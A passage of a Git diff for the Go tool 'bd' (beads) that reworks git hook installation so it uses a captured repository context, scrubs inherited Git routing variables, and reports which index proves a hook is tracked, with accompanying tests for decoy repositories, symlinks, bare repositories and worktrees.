the containing repository or the // inherited Git context tracks path. If neither probe succeeds, errors count // as untracked — the guard only blocks writes it can prove are unsafe. +// +// This and isGitTrackedFileWithEnv are test-only conveniences. Production +// callers should use the Context variants, whose label feeds the refusal +// diagnostic; the boolean form discards it. func isGitTrackedFile(path string) bool { + return gitTrackedFileContext(path) != "" +} + +func gitTrackedFileContext(path string) string { + inherited := os.Environ() + return gitTrackedFileContextWithEnv(path, gitenv.ScrubRouting(inherited), inherited) +} + +func isGitTrackedFileWithEnv(path string, clean, inherited []string) bool { + return gitTrackedFileContextWithEnv(path, clean, inherited) != "" +} + +// gitTrackedFileContextWithEnv returns a fixed label for the first successful +// proof. It never includes inherited environment values or Git output. +func gitTrackedFileContextWithEnv(path string, clean, inherited []string) string { dir := filepath.Dir(path) base := filepath.Base(path) - inherited := os.Environ() // Check the containing repository first so inherited routing cannot hide a - // tracked hook. The fallback preserves bare work trees and trusted config. - // Exit 1 is git's "repository reached, path is not tracked" answer and is - // final, so the second probe runs only when the scrubbed environment failed - // for a configuration reason (no reachable repository) rather than spawning - // a second `git ls-files` on every ordinary miss. - for _, env := range [][]string{gitenv.ScrubRouting(inherited), inherited} { + // tracked hook. The fallback preserves bare work trees and trusted config, + // and whichever index answers first is sufficient to refuse the write, even + // if the other view does not track the path. The fallback is reached only + // when the clean probe failed for a configuration reason (no reachable + // repository): exit 1 is git's "repository reached, path is not tracked" + // answer and is final, so a repository that reports the path untracked ends + // the search instead of spawning a second `git ls-files` on every ordinary + // miss. + for index, env := range [][]string{clean, inherited} { // #nosec G204 G702 - fixed "git" command; dir/base come from the hooks // directory bd itself resolved, not user input cmd := exec.Command("git", "-C", dir, "ls-files", "--error-unmatch", "--", base) cmd.Env = env err := cmd.Run() if err == nil { - return true + if index == 0 { + return trackedProofContainingIndex + } + return trackedProofInheritedIndex } if exit, ok := err.(*exec.ExitError); ok && exit.ExitCode() == 1 { - return false + return "" } } - return false + return "" +} + +func installHooksWithOptions(hookNames []string, force bool, shared bool, chain bool, beadsHooks bool) error { + return installHooksWithContext(hookNames, force, shared, chain, beadsHooks, nil) } //nolint:unparam // force and chain kept for CLI flag compatibility; section markers make them no-ops -func installHooksWithOptions(hookNames []string, force bool, shared bool, chain bool, beadsHooks bool) error { +func installHooksWithContext(hookNames []string, force, shared, chain, beadsHooks bool, selected *initHooksContext) error { + if selected != nil && shared { + return fmt.Errorf("shared hooks mode is not supported by selected init") + } var hooksDir string - if beadsHooks { + if selected != nil { + hooksDir = selected.paths.HooksDir + if beadsHooks { + if selected.beadsDir == "" { + return fmt.Errorf("%s", activeWorkspaceNotFoundError()) + } + hooksDir = filepath.Join(selected.beadsDir, "hooks") + } + } else if beadsHooks { // Use .beads/hooks/ directory (preferred for Dolt backend) beadsDir := beads.FindBeadsDir() if beadsDir == "" { @@ -932,13 +992,23 @@ func installHooksWithOptions(hookNames []string, force bool, shared bool, chain // core.hooksPath or the default .git/hooks). Without this, setting a local // core.hooksPath silently shadows the global one and those hooks stop running. if beadsHooks || shared { - preservePreexistingHooks(hooksDir) + if selected == nil { + preservePreexistingHooks(hooksDir) + } else { + preservePreexistingHooksAt(hooksDir, selected.paths.HooksDir, func() string { return selected.paths.MainRepoRoot }) + } } + tracked := gitTrackedFileContext + if selected != nil { + tracked = func(path string) string { + return gitTrackedFileContextWithEnv(path, selected.env, selected.inheritedEnv) + } + } // Refuse the whole install up front if any target is unsafe to write — // stopping midway through the loop would leave hooks half-installed. for _, hookName := range hookNames { - if err := guardHookWritePath(filepath.Join(hooksDir, hookName), shared); err != nil { + if err := guardHookWritePathWithProbe(filepath.Join(hooksDir, hookName), shared, tracked); err != nil { return fmt.Errorf("refusing to install %s hook: %w", hookName, err) } } @@ -1001,8 +1071,12 @@ func installHooksWithOptions(hookNames []string, force bool, shared bool, chain } } - // Configure git to use the hooks directory - if beadsHooks { + // Configure git to use the hooks directory after writing, as in ordinary installs. + if selected != nil && beadsHooks { + if err := selected.configureHooksPath(hooksDir); err != nil { + return fmt.Errorf("failed to configure git hooks path: %w", err) + } + } else if beadsHooks { if err := configureBeadsHooksPath(); err != nil { return fmt.Errorf("failed to configure git hooks path: %w", err) } @@ -1026,6 +1100,16 @@ func preservePreexistingHooks(targetDir string) { return } + preservePreexistingHooksAt(targetDir, currentDir, func() string { + repoRoot, _ := git.GetMainRepoRoot() + if repoRoot == "" { + repoRoot = git.GetRepoRoot() + } + return repoRoot + }) +} + +func preservePreexistingHooksAt(targetDir, currentDir string, mainRoot func() string) { // Resolve to absolute paths for reliable comparison. absTarget, err := filepath.Abs(targetDir) if err != nil { @@ -1037,19 +1121,16 @@ func preservePreexistingHooks(targetDir string) { } // If the current dir is already our target, this is a re-install — skip. - if absTarget == absCurrent { + if utils.PathsEqual(absTarget, absCurrent) { return } // If current dir is already a beads-managed directory, skip. - repoRoot, _ := git.GetMainRepoRoot() - if repoRoot == "" { - repoRoot = git.GetRepoRoot() - } + repoRoot := mainRoot() if repoRoot != "" { absBeadsHooks, _ := filepath.Abs(filepath.Join(repoRoot, ".beads", "hooks")) absSharedHooks, _ := filepath.Abs(filepath.Join(repoRoot, ".beads-hooks")) - if absCurrent == absBeadsHooks || absCurrent == absSharedHooks { + if utils.PathsEqual(absCurrent, absBeadsHooks) || utils.PathsEqual(absCurrent, absSharedHooks) { return } } @@ -1789,6 +1870,8 @@ func hookLinkedWorktreePrimaryRoot(hookRoot string) string { if hookRoot == "" { return "" } + // #nosec G702 - fixed "git" command; args are constant subcommands plus an internal + // hookRoot derived from the hook's own beads dir, never attacker-controlled input. cmd := exec.Command("git", "-C", hookRoot, "rev-parse", "--git-common-dir") // Scrub the inherited GIT_* vars so git describes hookRoot itself rather // than whatever repository GIT_DIR happens to name. diff --git a/cmd/bd/hooks_guard_test.go b/cmd/bd/hooks_guard_test.go index 4297597af..2eb7d54bb 100644 --- a/cmd/bd/hooks_guard_test.go +++ b/cmd/bd/hooks_guard_test.go @@ -10,6 +10,8 @@ import ( "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/stretchr/testify/require" ) func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { @@ -51,6 +53,7 @@ func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { name string env map[string]string }{ + {"both", map[string]string{"GIT_DIR": filepath.Join(target, ".git"), "GIT_WORK_TREE": target}}, {"repository", map[string]string{"GIT_DIR": filepath.Join(decoy, ".git")}}, {"worktree", map[string]string{"GIT_DIR": filepath.Join(decoy, ".git"), "GIT_WORK_TREE": decoy}}, {"index", map[string]string{"GIT_INDEX_FILE": filepath.Join(decoy, ".git", "index")}}, @@ -60,9 +63,16 @@ func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { for key, value := range tc.env { t.Setenv(key, value) } + if tc.name == "both" { + probe := exec.Command("git", "-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit") + out, err := probe.CombinedOutput() + require.NoError(t, err, "inherited index must also prove tracking: %s", out) + } if !isGitTrackedFile(foreign) { t.Error("inherited routing hid the tracked hook") } + require.Equal(t, "containing repository index", gitTrackedFileContext(foreign), "clean proof takes precedence, including when both views track it") + require.ErrorContains(t, guardHookWritePath(foreign, false), "tracked by git (containing repository index)") if err := guardHookWritePath(foreign, false); err == nil || !strings.Contains(err.Error(), "tracked by git") { t.Errorf("expected tracked-file refusal, got %v", err) } @@ -78,6 +88,7 @@ func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { if isGitTrackedFile(untracked) { t.Error("untracked hook reported as tracked") } + require.Empty(t, gitTrackedFileContext(untracked)) if err := guardHookWritePath(untracked, false); err != nil { t.Errorf("untracked hook refused: %v", err) } @@ -469,3 +480,81 @@ func TestGuardHookWritePathAllowsFileWhenGitUnavailable(t *testing.T) { t.Fatalf("both tracking errors must retain the untracked policy: %v", err) } } + +func TestInitHooksContextGuardPreservesOwnership(t *testing.T) { + for _, name := range []string{"tracked", "bd_owned", "symlink", "captured_fallback"} { + t.Run(name, func(t *testing.T) { + selected, _, _, _ := newInitHooksFixture(t) + storage := filepath.Join(selected, "local-storage") + hooksDir := filepath.Join(storage, "hooks") + if name == "captured_fallback" { + storage = t.TempDir() + hooksDir = filepath.Join(storage, "hooks") + } + require.NoError(t, os.MkdirAll(hooksDir, 0755)) + hook := filepath.Join(hooksDir, "pre-commit") + content := "#!/bin/sh\necho foreign\n" + if name == "bd_owned" { + content = "#!/bin/sh\n" + generateHookSection("pre-commit") + } + if name == "symlink" { + target := filepath.Join(t.TempDir(), "foreign hook") + require.NoError(t, os.WriteFile(target, []byte(content), 0755)) + if err := os.Symlink(target, hook); err != nil { + t.Skipf("symlink capability unavailable: %v", err) + } + } else { + require.NoError(t, os.WriteFile(hook, []byte(content), 0755)) + if name == "captured_fallback" { + bare := t.TempDir() + initExcludeGit(t, bare, "init", "--bare", "--quiet") + initExcludeGit(t, storage, "--git-dir", bare, "--work-tree", storage, "add", "hooks/pre-commit") + t.Setenv("GIT_DIR", bare) + t.Setenv("GIT_WORK_TREE", storage) + t.Setenv("GIT_INDEX_FILE", filepath.Join(bare, "index")) + } else { + initExcludeGit(t, selected, "add", "--force", "--", hook) + } + } + fs, hooks, err := withInitHooks(nil, selected, storage) + require.NoError(t, err) + if name == "captured_fallback" { + require.False(t, isGitTrackedFileWithEnv(hook, hooks.env, hooks.env), "clean view must not supply the proof") + require.True(t, isGitTrackedFileWithEnv(hook, hooks.env, hooks.inheritedEnv), "inherited view must prove tracking") + } + t.Setenv("GIT_DIR", filepath.Join(t.TempDir(), "missing")) + err = fs.InstallGitHooks(t.Context(), domain.HooksInstallParams{HookNames: managedHookNames, BeadsHooks: true}) + if name == "bd_owned" { + require.NoError(t, err) + require.Contains(t, string(readInitHooksFile(t, hook)), hookSectionBeginPrefix) + } else { + want := "tracked by git" + if name == "symlink" { + want = "symlink" + } + require.ErrorContains(t, err, want) + if name == "captured_fallback" { + require.ErrorContains(t, err, "tracked by git (inherited Git index)") + // The remediation follows the proof: `git rm --cached` from the + // operator's shell aims at whichever index that shell routes to, + // so the inherited case has to name clearing the routing instead. + require.ErrorContains(t, err, "Clear the inherited Git routing environment and re-run") + for _, entry := range hooks.inheritedEnv { + if strings.HasPrefix(entry, "GIT_DIR=") { + require.NotContains(t, err.Error(), strings.TrimPrefix(entry, "GIT_DIR=")) + } + } + } else if name == "tracked" { + require.ErrorContains(t, err, "tracked by git (containing repository index)") + require.ErrorContains(t, err, "Untrack it (git rm --cached) or move hooks to an untracked directory") + require.NotContains(t, err.Error(), "Clear the inherited Git routing environment") + } + require.Equal(t, content, string(readInitHooksFile(t, hook))) + for _, other := range []string{"post-merge", "pre-commit.backup"} { + _, err := os.Lstat(filepath.Join(hooksDir, other)) + require.ErrorIs(t, err, os.ErrNotExist) + } + } + }) + } +} diff --git a/cmd/bd/hooks_worktree_test.go b/cmd/bd/hooks_worktree_test.go index 60f9b9477..0be23661a 100644 --- a/cmd/bd/hooks_worktree_test.go +++ b/cmd/bd/hooks_worktree_test.go @@ -4,10 +4,13 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/stretchr/testify/require" ) func TestConfigureBeadsHooksPath_WorktreeUsesMainRepo(t *testing.T) { @@ -339,3 +342,145 @@ func TestConfigureBeadsHooksPath_NormalRepoUnchanged(t *testing.T) { t.Errorf("core.hooksPath = %q, want %q", hooksPath, expected) } } + +// newInitHooksFixture keeps the selected worktree, ambient repository and +// storage physically distinct. Git's default HOME is owned by the parent helper. +func newInitHooksFixture(t *testing.T) (selected, decoy, storage, common string) { + t.Helper() + selected, decoy, exclude, _ := newInitExcludeRepos(t) + common = filepath.Dir(filepath.Dir(exclude)) + storage = filepath.Join(t.TempDir(), "separate storage") + require.NoError(t, os.Mkdir(storage, 0755)) + require.NoError(t, os.WriteFile(filepath.Join(decoy, "seed"), []byte("decoy\n"), 0600)) + initExcludeGit(t, decoy, "add", "seed") + initExcludeGit(t, selected, "config", "beads.role", "contributor") + t.Setenv("BEADS_DIR", filepath.Join(decoy, ".beads")) + t.Setenv("GIT_DIR", filepath.Join(decoy, ".git")) + t.Setenv("GIT_WORK_TREE", decoy) + t.Setenv("GIT_INDEX_FILE", filepath.Join(decoy, ".git", "index")) + git.ResetCaches() + t.Cleanup(git.ResetCaches) + return selected, decoy, storage, common +} + +func readInitHooksFile(t *testing.T, path string) []byte { + t.Helper() + data, err := os.ReadFile(path) + require.NoError(t, err) + return data +} + +func TestInitHooksPreservesManagedDirectoryAliases(t *testing.T) { + for _, managed := range []string{".beads/hooks", ".beads-hooks"} { + t.Run(managed, func(t *testing.T) { + selected, _, storage, common := newInitHooksFixture(t) + root := filepath.Dir(common) + source := filepath.Join(root, managed) + require.NoError(t, os.MkdirAll(source, 0755)) + const content = "#!/bin/sh\necho existing managed-directory hook\n" + require.NoError(t, os.WriteFile(filepath.Join(source, "post-rewrite"), []byte(content), 0755)) + alias := filepath.Join(t.TempDir(), "repository alias") + if err := os.Symlink(root, alias); err != nil { + if runtime.GOOS == "windows" { + t.Skipf("directory symlink capability unavailable: %v", err) + } + t.Fatal(err) + } + initExcludeGit(t, selected, "config", "--local", "core.hooksPath", filepath.Join(alias, managed)) + fs, _, err := withInitHooks(nil, selected, storage) + require.NoError(t, err) + require.NoError(t, fs.InstallGitHooks(t.Context(), domain.HooksInstallParams{HookNames: managedHookNames, BeadsHooks: true})) + _, err = os.Stat(filepath.Join(storage, "hooks", "post-rewrite")) + require.ErrorIs(t, err, os.ErrNotExist, "an existing managed hooks directory must not be copied through an alias") + require.Equal(t, content, string(readInitHooksFile(t, filepath.Join(source, "post-rewrite")))) + }) + } +} + +func TestInitHooksRefusesSharedMode(t *testing.T) { + selected, _, storage, common := newInitHooksFixture(t) + fs, _, err := withInitHooks(nil, selected, storage) + require.NoError(t, err) + require.ErrorContains(t, fs.InstallGitHooks(t.Context(), domain.HooksInstallParams{HookNames: managedHookNames, Shared: true}), "shared hooks mode") + for _, path := range []string{filepath.Join(storage, "hooks"), filepath.Join(filepath.Dir(common), ".beads-hooks")} { + _, err := os.Stat(path) + require.ErrorIs(t, err, os.ErrNotExist) + } +} + +func TestInitHooksContextPreservesSelectedPaths(t *testing.T) { + for _, name := range []string{"foreign", "global", "private", "config_lock"} { + t.Run(name, func(t *testing.T) { + selected, decoy, storage, common := newInitHooksFixture(t) + current := t.TempDir() + const foreign = "#!/bin/sh\necho selected hook\n" + for _, hook := range []string{"pre-commit", "post-rewrite"} { + require.NoError(t, os.WriteFile(filepath.Join(current, hook), []byte(foreign), 0755)) + } + initExcludeGit(t, selected, "config", "--local", "core.hooksPath", current) + if name == "global" { + initExcludeGit(t, selected, "config", "--local", "--unset", "core.hooksPath") + initExcludeGit(t, selected, "config", "--global", "core.hooksPath", current) + } + preserved := map[string][]byte{} + if name == "private" { + initExcludeGit(t, selected, "config", "extensions.worktreeConfig", "true") + initExcludeGit(t, selected, "config", "--worktree", "core.hooksPath", current) + path := filepath.Join(initExcludeGit(t, selected, "rev-parse", "--absolute-git-dir"), "config.worktree") + preserved[path] = readInitHooksFile(t, path) + } + for _, path := range []string{filepath.Join(decoy, ".git", "config"), filepath.Join(decoy, ".git", "index")} { + preserved[path] = readInitHooksFile(t, path) + } + if name == "global" { + path := filepath.Join(os.Getenv("HOME"), ".gitconfig") + preserved[path] = readInitHooksFile(t, path) + } + fs, hooks, err := withInitHooks(nil, selected, storage) + require.NoError(t, err) + require.False(t, hooks.installed()) + if name == "config_lock" { + require.NoError(t, os.WriteFile(filepath.Join(common, "config.lock"), []byte("owned lock"), 0600)) + preserved[filepath.Join(common, "config")] = readInitHooksFile(t, filepath.Join(common, "config")) + } + // Later ambient routing must not rebind the captured hook operation. + t.Setenv("GIT_DIR", filepath.Join(t.TempDir(), "missing")) + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_CONFIG_KEY_0", "core.hooksPath") + t.Setenv("GIT_CONFIG_VALUE_0", filepath.Join(decoy, "wrong hooks")) + env := os.Environ() + destination := filepath.Join(storage, "hooks") + for range 2 { + err := fs.InstallGitHooks(t.Context(), domain.HooksInstallParams{HookNames: managedHookNames, BeadsHooks: true}) + if name == "config_lock" { + require.ErrorContains(t, err, "failed to configure git hooks path") + } else { + require.NoError(t, err) + got := initExcludeGit(t, selected, "config", "--file", filepath.Join(common, "config"), "--get", "core.hooksPath") + gotInfo, err := os.Stat(got) + require.NoError(t, err) + wantInfo, err := os.Stat(destination) + require.NoError(t, err) + require.True(t, os.SameFile(gotInfo, wantInfo), "common config must name the installed storage hooks") + } + installed := string(readInitHooksFile(t, filepath.Join(destination, "pre-commit"))) + require.Contains(t, installed, foreign) + require.Equal(t, 1, strings.Count(installed, hookSectionBeginPrefix)) + require.Equal(t, foreign, string(readInitHooksFile(t, filepath.Join(destination, "pre-commit.backup")))) + require.Equal(t, foreign, string(readInitHooksFile(t, filepath.Join(destination, "post-rewrite")))) + } + for path, before := range preserved { + require.Equal(t, before, readInitHooksFile(t, path), "changed %s", path) + } + for _, hook := range []string{"pre-commit", "post-rewrite"} { + require.Equal(t, foreign, string(readInitHooksFile(t, filepath.Join(current, hook)))) + } + if name == "private" { + paths, err := git.ResolveHooksContext(selected, hooks.env) + require.NoError(t, err) + require.Equal(t, current, paths.HooksDir, "private override remains effective") + } + require.Equal(t, env, os.Environ()) + }) + } +} diff --git a/cmd/bd/init_git_hooks.go b/cmd/bd/init_git_hooks.go index 409d70a31..8e711b607 100644 --- a/cmd/bd/init_git_hooks.go +++ b/cmd/bd/init_git_hooks.go @@ -3,11 +3,13 @@ package main import ( "fmt" "os" + "os/exec" "path/filepath" "regexp" "strings" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/ui" ) @@ -22,6 +24,10 @@ func hooksInstalled() bool { if err != nil { return false } + return hooksInstalledAt(hooksDir) +} + +func hooksInstalledAt(hooksDir string) bool { preCommit := filepath.Join(hooksDir, "pre-commit") postMerge := filepath.Join(hooksDir, "post-merge") @@ -80,7 +86,11 @@ func hooksInstalled() bool { // Delegates to CheckGitHooks() which handles version comparison, shim detection, // and inline hook detection consistently. func hooksNeedUpdate() bool { - for _, s := range CheckGitHooks() { + return hookStatusesNeedUpdate(CheckGitHooks()) +} + +func hookStatusesNeedUpdate(statuses []HookStatus) bool { + for _, s := range statuses { if s.Outdated { return true } @@ -261,12 +271,13 @@ func buildPostMergeHook(chainHooks bool, existingHooks []hookInfo) string { return "#!/bin/sh\n" + section } +// jjHookNames is the shared inventory for standalone and selected init adapters. +var jjHookNames = []string{"pre-commit", "post-merge"} + // installJJHooks installs marker-managed hooks for colocated jujutsu+git repos. // This path intentionally avoids .old sidecar chaining and uses the same section // injection behavior as regular hook installs. func installJJHooks() error { - // jj only needs pre-commit and post-merge hooks - jjHookNames := []string{"pre-commit", "post-merge"} return installHooksWithOptions(jjHookNames, false, false, false, false) } @@ -310,3 +321,64 @@ func printJJAliasInstructions() { fmt.Printf("\nThen use %s instead of %s\n\n", ui.RenderAccent("jj push"), ui.RenderAccent("jj git push")) fmt.Printf("For more details, see: https://github.com/gastownhall/beads/blob/main/docs/reference/git-integration.md#branchless-workflows-jujutsu--jj\n\n") } + +// initHooksContext keeps the selected Git project separate from Beads storage. +// Its paths and both environments are captured once; tracking fallback supplies +// refusal evidence only, never a destination for writing hooks or configuration. +type initHooksContext struct { + workDir, beadsDir string + paths git.HooksContext + env, inheritedEnv []string +} + +func resolveInitHooksContext(workDir, beadsDir string) (*initHooksContext, error) { + workDir, err := filepath.Abs(workDir) + if err != nil { + return nil, err + } + inherited := os.Environ() + env := gitenv.ScrubRouting(inherited) + paths, err := git.ResolveHooksContext(workDir, env) + if err != nil { + // A repository whose work tree does not resolve -- a bare repository, or + // a directory such as /.git that Git answers from -- has no work + // tree to anchor, but it does have a hooks directory, and bd installed + // into it before this resolver existed. Resolving that shape here keeps + // the selected, scrubbed context instead of turning a supported + // repository into a warning and no install at all. Any other failure is + // still a failure: the work-tree-less resolver rejects non-repositories + // and directories inside a work tree. + workTreeless, workTreelessErr := git.ResolveWorkTreelessHooksContext(workDir, env) + if workTreelessErr != nil { + return nil, err + } + paths = workTreeless + } + if beadsDir != "" && !filepath.IsAbs(beadsDir) { + beadsDir = filepath.Join(workDir, beadsDir) + } + return &initHooksContext{workDir: workDir, beadsDir: beadsDir, paths: paths, env: env, inheritedEnv: inherited}, nil +} + +func (c *initHooksContext) installed() bool { + if c == nil { + return hooksInstalled() + } + return hooksInstalledAt(c.paths.HooksDir) +} + +func (c *initHooksContext) needsUpdate() bool { + if c == nil { + return hooksNeedUpdate() + } + return hookStatusesNeedUpdate(checkGitHooksAt(c.paths.HooksDir)) +} + +func (c *initHooksContext) configureHooksPath(hooksDir string) error { + cmd := exec.Command("git", "--git-dir", c.paths.CommonDir, "config", "--local", "core.hooksPath", hooksDir) + cmd.Dir, cmd.Env = c.workDir, c.env + if output, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("git config failed: %w (output: %s)", err, string(output)) + } + return nil +} diff --git a/cmd/bd/init_proxied_server.go b/cmd/bd/init_proxied_server.go index d0cf6674e..2d101e51f 100644 --- a/cmd/bd/init_proxied_server.go +++ b/cmd/bd/init_proxied_server.go @@ -580,33 +580,41 @@ func runInitProxiedServerTail(cmd *cobra.Command, ctx context.Context, in initPr } } - if !in.skipHooks && (!hooksInstalled() || hooksNeedUpdate()) { - if hooksInstalled() && !in.quiet { - fmt.Printf(" Updating hooks to version %s...\n", Version) - } + if !in.skipHooks { isJJ := gitUC.IsJujutsuRepo(ctx) isColocated := gitUC.IsColocatedJJGit(ctx) switch { case isJJ && !isColocated: - if !in.quiet { + // The install arm below took over the hook-status gate that used to + // wrap this whole switch. Keep it here too, or a pure-JJ repo with + // current hooks starts re-printing the alias hint on every init. + if !in.quiet && (!hooksInstalled() || hooksNeedUpdate()) { printJJAliasInstructions() } - case isColocated: - if err := t.fsUseCase.InstallJJHooks(ctx); err != nil && !in.quiet { - fmt.Fprintf(os.Stderr, "\n%s Failed to install jj hooks: %v\n", ui.RenderWarn("⚠"), err) - } else if !in.quiet { - fmt.Printf(" Hooks installed (jujutsu mode - no staging)\n") - } - default: - if isRepo { - hooksParams := domain.HooksInstallParams{ - HookNames: managedHookNames, - BeadsHooks: true, + case isColocated || isRepo: + // Resolve only an eligible Git branch, never skip/pure-JJ/nonrepo paths. + hookFS, hooks, err := withInitHooks(t.fsUseCase, t.workDir, t.beadsDir) + if err != nil { + if !in.quiet { + fmt.Fprintf(os.Stderr, "\n%s Failed to resolve git hooks: %v\n", ui.RenderWarn("⚠"), err) } - if err := t.fsUseCase.InstallGitHooks(ctx, hooksParams); err != nil && !in.quiet { - fmt.Fprintf(os.Stderr, "\n%s Failed to install git hooks to .beads/hooks/: %v\n", ui.RenderWarn("⚠"), err) - } else if !in.quiet { - fmt.Printf(" Hooks installed to: .beads/hooks/\n") + } else if !hooks.installed() || hooks.needsUpdate() { + if hooks.installed() && !in.quiet { + fmt.Printf(" Updating hooks to version %s...\n", Version) + } + if isColocated { + if err := hookFS.InstallJJHooks(ctx); err != nil && !in.quiet { + fmt.Fprintf(os.Stderr, "\n%s Failed to install jj hooks: %v\n", ui.RenderWarn("⚠"), err) + } else if !in.quiet { + fmt.Printf(" Hooks installed (jujutsu mode - no staging)\n") + } + } else { + hooksParams := domain.HooksInstallParams{HookNames: managedHookNames, BeadsHooks: true} + if err := hookFS.InstallGitHooks(ctx, hooksParams); err != nil && !in.quiet { + fmt.Fprintf(os.Stderr, "\n%s Failed to install git hooks to .beads/hooks/: %v\n", ui.RenderWarn("⚠"), err) + } else if !in.quiet { + fmt.Printf(" Hooks installed to: .beads/hooks/\n") + } } } } diff --git a/cmd/bd/init_proxied_server_test.go b/cmd/bd/init_proxied_server_test.go index 1c4c6060f..df567f04c 100644 --- a/cmd/bd/init_proxied_server_test.go +++ b/cmd/bd/init_proxied_server_test.go @@ -572,3 +572,122 @@ func TestProxiedInitExcludeUsesSelectedDirectory(t *testing.T) { }) } } + +func TestProxiedInitHooksUseSelectedContext(t *testing.T) { + for _, name := range []string{"normal", "missing", "outdated", "current", "skip", "nonrepo", "pure_jj", "colocated", "bare", "git_dir_cwd", "config_lock", "quiet_config_lock"} { + t.Run(name, func(t *testing.T) { + selected, decoy, storage, common := newInitHooksFixture(t) + // Repository shapes whose common directory resolves while no work tree + // does; both must still install, as bd did before the hooks resolver. + workTreeless := name == "bare" || name == "git_dir_cwd" + if name == "normal" { + selected = filepath.Dir(common) + } + if name == "bare" { + selected = t.TempDir() + initExcludeGit(t, selected, "init", "--bare", "--quiet") + } + if name == "git_dir_cwd" { + // Standing in a non-bare repository's own .git directory: rev-parse + // --git-dir answers, so the repository arm runs, but --show-toplevel + // fails and --is-bare-repository reports false. + repo := t.TempDir() + initExcludeGit(t, repo, "init", "--quiet") + selected = filepath.Join(repo, ".git") + } + current, ambient := t.TempDir(), t.TempDir() + initExcludeGit(t, selected, "config", "core.hooksPath", current) + initExcludeGit(t, decoy, "config", "core.hooksPath", ambient) + writeHooks := func(dir string, outdated bool) { + for _, hook := range []string{"pre-commit", "post-merge"} { + text := "#!/bin/sh\n" + generateHookSection(hook) + if outdated { + text = "#!/bin/sh\n# bd (beads) " + hook + " hook\n# Version: obsolete\n" + } + require.NoError(t, os.WriteFile(filepath.Join(dir, hook), []byte(text), 0755)) + } + } + if name == "current" || name == "outdated" { + writeHooks(current, name == "outdated") + } + if name != "current" { + writeHooks(ambient, false) + } + // Filesystems without executable mode bits retain the existing reinstall policy. + currentReady := false + if name == "current" { + info, err := os.Stat(filepath.Join(current, "pre-commit")) + require.NoError(t, err) + currentReady = info.Mode().Perm()&0111 != 0 + if runtime.GOOS != "windows" { + require.True(t, currentReady, "POSIX current-status fixture requires executable hooks") + } + } + preserved := map[string][]byte{} + for _, path := range []string{filepath.Join(decoy, ".git", "config"), filepath.Join(decoy, ".git", "index")} { + preserved[path] = readInitHooksFile(t, path) + } + if name == "nonrepo" || name == "pure_jj" { + selected = t.TempDir() + } + if name == "pure_jj" || name == "colocated" { + require.NoError(t, os.Mkdir(filepath.Join(selected, ".jj"), 0755)) + } + locked := name == "config_lock" || name == "quiet_config_lock" + if locked { + require.NoError(t, os.WriteFile(filepath.Join(common, "config.lock"), []byte("owned lock"), 0600)) + } + fs := storagefs.NewFileSystemProvider(selected, newBeadsDirTemplates(), newInitFileSystemAdapters(selected)).BeadsDirFSUseCase() + cmd := &cobra.Command{} + cmd.Flags().Bool("setup-exclude", true, "") + in := initProxiedServerInput{skipHooks: name == "skip", quiet: name == "quiet_config_lock", skipAgents: true, nonInteractive: true} + env := os.Environ() + stderr := captureStderr(t, func() { + require.NoError(t, runInitProxiedServerTail(cmd, t.Context(), in, runInitTailContext{workDir: selected, beadsDir: storage, remoteURL: "file:///unused-hooks-fixture-remote", fsUseCase: fs, gitUC: storagegit.NewGitProvider(selected).GitUseCase()})) + }) + if name == "config_lock" { + require.Contains(t, stderr, "Failed to install git hooks") + } else if name != "nonrepo" && name != "pure_jj" { + require.Empty(t, stderr) + } + require.NotContains(t, stderr, "Failed to resolve git hooks") + wantInstall := name == "normal" || name == "missing" || name == "outdated" || name == "colocated" || workTreeless || locked || (name == "current" && !currentReady) + path := filepath.Join(storage, "hooks", "pre-commit") + if name == "colocated" { + path = filepath.Join(current, "pre-commit") + } + if wantInstall { + require.Contains(t, string(readInitHooksFile(t, path)), hookSectionBeginPrefix) + } else { + _, err := os.Stat(path) + require.ErrorIs(t, err, os.ErrNotExist, "ambient status must not trigger an install") + } + if workTreeless { + // These resolve through the work-tree-less hooks context, so the + // install must still land in the selected storage and configure the + // selected repository -- not the inherited one this fixture routes to. + require.Equal(t, filepath.Join(storage, "hooks"), initExcludeGit(t, selected, "config", "--local", "--get", "core.hooksPath")) + } + if name != "nonrepo" && name != "pure_jj" { + excludeRoot := common + if workTreeless { + excludeRoot = selected // a work-tree-less selection is its own common directory + } + exclude := readInitHooksFile(t, filepath.Join(excludeRoot, "info", "exclude")) + require.Contains(t, string(exclude), ".beads/", "selected exclude callback lost") + } + for path, before := range preserved { + require.Equal(t, before, readInitHooksFile(t, path), "changed %s", path) + } + require.Equal(t, env, os.Environ()) + }) + } +} + +func TestInitHooksEmptyPathRetainsUseCase(t *testing.T) { + supplied := &initTailForkObservation{} + fs, hooks, err := withInitHooks(supplied, "", "unused storage") + require.NoError(t, err) + require.Same(t, supplied, fs) + require.Nil(t, hooks) +} diff --git a/cmd/bd/worktree.go b/cmd/bd/worktree.go index 20baf1b07..73e80f3a8 100644 --- a/cmd/bd/worktree.go +++ b/cmd/bd/worktree.go @@ -19,6 +19,8 @@ func isGitWorktree() bool { // gitRevParse runs git rev-parse with the given flag and returns the trimmed output. // This is a helper for CLI utilities that need git command execution. func gitRevParse(flag string) string { + // #nosec G702 - fixed "git" command; flag is a constant rev-parse switch chosen by + // the caller in this package, never attacker-controlled input. out, err := exec.Command("git", "rev-parse", flag).Output() if err != nil { return "" diff --git a/cmd/bd/worktree_cmd.go b/cmd/bd/worktree_cmd.go index 74a09ca99..d4b123f5e 100644 --- a/cmd/bd/worktree_cmd.go +++ b/cmd/bd/worktree_cmd.go @@ -688,12 +688,14 @@ func scrubWorktreeRemovalGitEnvForOS(env []string, goos string) []string { // ScrubRoutingForOS returns a fresh slice, so filtering it in place is safe. result := cleaned[:0] for _, entry := range cleaned { + // One shared subprocess key identity: execenv mirrors os/exec's fold, so + // this drops exactly the 